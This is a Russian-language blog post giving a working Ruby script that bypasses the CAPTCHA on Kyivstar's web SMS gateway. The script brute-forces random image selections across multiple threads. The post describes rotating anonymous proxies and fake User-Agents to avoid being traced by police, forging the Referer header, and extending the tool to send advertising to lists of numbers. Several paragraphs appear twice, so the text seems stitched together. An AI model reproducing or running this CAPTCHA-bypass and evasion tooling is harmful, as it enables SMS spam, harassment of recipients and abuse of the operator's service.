Как-то давненько, отправляя смс со странички Киевстара, не загрузились картинки капчи(видел 9 вращающихся спинеров, думаю я не один, у кого такое наблюдалось). И я наугад выбрал нужное количество изображений живой природы и на на удивление сообщение было принято. Сразу же родилась идея написать скрипт/программку/робота для избавления пользователя от «рутинного» способа отправки смс.
Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.
HTML форма лежит во фрейме по пути smsgate.kyivstar.ua/sms. Но форму можно получить только отправив POST запрос.
Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения
С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)
По долгуслужбы работы я пишу на языке ruby, поэтому скрипт/программу написал именно на нём.
Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).

приятная мелодия тыц | зеркало
К сожалению парсер не дает разместить весь листинг целиком, поэтому выложу в статье основные методы и дам ссылку на весь скрипт.
Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.
Как всё устроено
HTML форма лежит во фрейме по пути smsgate.kyivstar.ua/sms. Но форму можно получить только отправив POST запрос.
Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения
С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)
Итак приступим
По долгу
- Для работы скрипта обязательны подключения следующих либ/гем:
net/http, uri, active_support - При получении и отправке формы скорее всего наш IP записывается, поэтому дабы не быть пойманным отделом К (ну или хотя бы затруднить отлов, а может мы им вообще не нужны ибо нет состава преступления), ходим через анонимный прокси.
- Для существенного ускорения отправки смс, картинки перебираем в несколько потоков (больше 3-х дает вероятность отправки 1-й смс в течении до полторы минуты, чаще всего получал десятки секунд), один поток ходит только через одну проксю.
- Внутри потока используем бесконечный цикл с условием остановки отправки сообщения хотя бы одним потоком. Ошибки возникающие при доставке/отправке формы, подавляем.
- Для удобства список прокси серверов вынес в отдельный файл с простым синтаксисом
<proxy_ip>:<proxy_port>\n - Дабы ещё больше увести от себя взгляд, в каждом потоке рандомно отправляем левый User-Agent.
- Очень важный нюанс: при отправке формы обязательно нужно указывать «Referer», иначе сервер будет видеть подмену
- Отправку формы делаем когда требуется указать 2 картинки (так как по комбинаторике это дает меньше всего вариантов, а следовательно большая вероятность попадания), остальные случаи просто пропускаем
Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).

приятная мелодия тыц | зеркало
notify-send -i ~/scripts/sms.png 'SMS' 'Поставлено в очередь.'
mpg123 ~/scripts/sms_baraban.mp3 -q
Ну и сам листинг
К сожалению парсер не дает разместить весь листинг целиком, поэтому выложу в статье основные методы и дам ссылку на весь скрипт.
Copy Source | Copy HTML
- def send_data(num, msg, uid, imgs)
- proxy_addr = @proxy_ip
- proxy_port = @proxy_port
- url = "http://smsgate.kyivstar.ua/sms/?lang=en"
- url = URI.parse(url)
- request = Net::HTTP::Post.new(url.path+"?lang=en")
- params = {
- :sms_adv => '0',
- :submitted => 'true',
- :mobcode => "#{num[0..2]}",
- :number => "#{num[3..-1]}",
- :lat => '0',
- :message => "#{msg}",
- :live_images => "#{imgs}",
- :images_sid => "#{uid.to_s}"
- }
- request.set_form_data(params)
- request['cookie'] = "images_sid=#{uid}"
- request['User-Agent'] = @ua
- request['Referer'] = "http://smsgate.kyivstar.ua/sms/?lang=en"
- html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
- return html.body
- end
Данный метод отправляет номер, сообщение, ключ и выбранные картинки. Полученый ответ отдаем в следующий метод.
Copy Source | Copy HTML
- def get_result_of_sent(html)
- result = html.match(/<p class="comment">([\w .]+)<\/p>/)
- raise "wrong status of delivering :(" if result.nil? || result[1] == 'nonenone'
- return result[1]
- end
В котором парсим нужный DOM-элемент и получаем результат отправки: «Wrong choice of images», «Message accepted and enqueued» или вообще какую-то серверную ошибку. Если же получаем «Wrong choice of images», то полученую страничку передаем в следующий метод, который вытягивает ключ и нужное количество картинок.
Copy Source | Copy HTML
- def get_uid_and_count(html)
- sid = html.match(/"hidden" name="images_sid" value="(\d+)"/)
- raise "failed to get images_sid" if sid.nil? || sid[1] == 'nonenone'
- count = html.match(/To send SMS please show (\d) images with nature/)
- raise "failed to get image count" if count.nil? || count[1] == 'nonenone'
- return [sid[1], count[1]]
- end
Генерим номера картинок и подготавливаем строку картинок.
Copy Source | Copy HTML
- def random_images(count)
- ok = []
- count.to_i.times do |i|
- notadded = true
- while notadded do
- r = rand(9)+1
- unless ok.include?(r)
- ok << r
- notadded = false
- end
- end
- end
- ok.sort
- end
-
- def prepare_img(img_string)
- result = img_string.strip.split(//)
- result = result.join("0")
- result = "0" + result
- result
- end
После опять вызываем метод send_data(num, msg, uid, imgs). И всё повторяется до тех пор, пока не получим нужный ответ.
Весь код здесь | зеркало
Подстраиваем и запускаем
Ложим файл «proxy.list» рядом с нашим скриптом и с таким содержимым(для примера, живые и быстрые прокси сервера несложно настрелять у гугла):
79.138.39.83:8123
193.169.40.36:3128
89.28.178.40:8080
193.226.4.7:80
61.244.235.34:3128
Указываем правильно пути для мп3 и картинки(по желанию) для pop-up и проигрывания мелодии.
Открываем консоль, делаем наш скрипт запускным либо запускаем интерпретатором ruby
c параметрами
ruby sms.rb 0676543210 'Hello World!' 10
10 — это количество потоков, по умолчанию 3.
После запуска сразу увидим используемые прокси сервера и результат их проверки(через форму Киевстара), помечаемые [ok] или [bad]. Плохие прокси лучше удалять из списка, чтобы они не занижали общий результат.
Что получилось
Куда расшириться
- После отправки запускать механизм проверки на доставку сообщения — это просто, так как у нас есть ключ нашего сообщения, и так же выводить нотифай (и мелодию).
- Добавить пару методов, которые будут брать из файла список номеров и отправлять какую-то рекламу (надеюсь до этого не дойдёт).
- Сделать из этого псевдо шлюз с вебмордой, какой-то апплет/виджет для ОС или плагин для браузера.
- Для большей защиты
от дурака запретить использовать прокси сервер, если он не скрывает наш IP.
- Переписать скрипт на баш. А также сделать silent mode, чтоб ничего не отображалось в процессе отправки.
любителям консоли посвящается…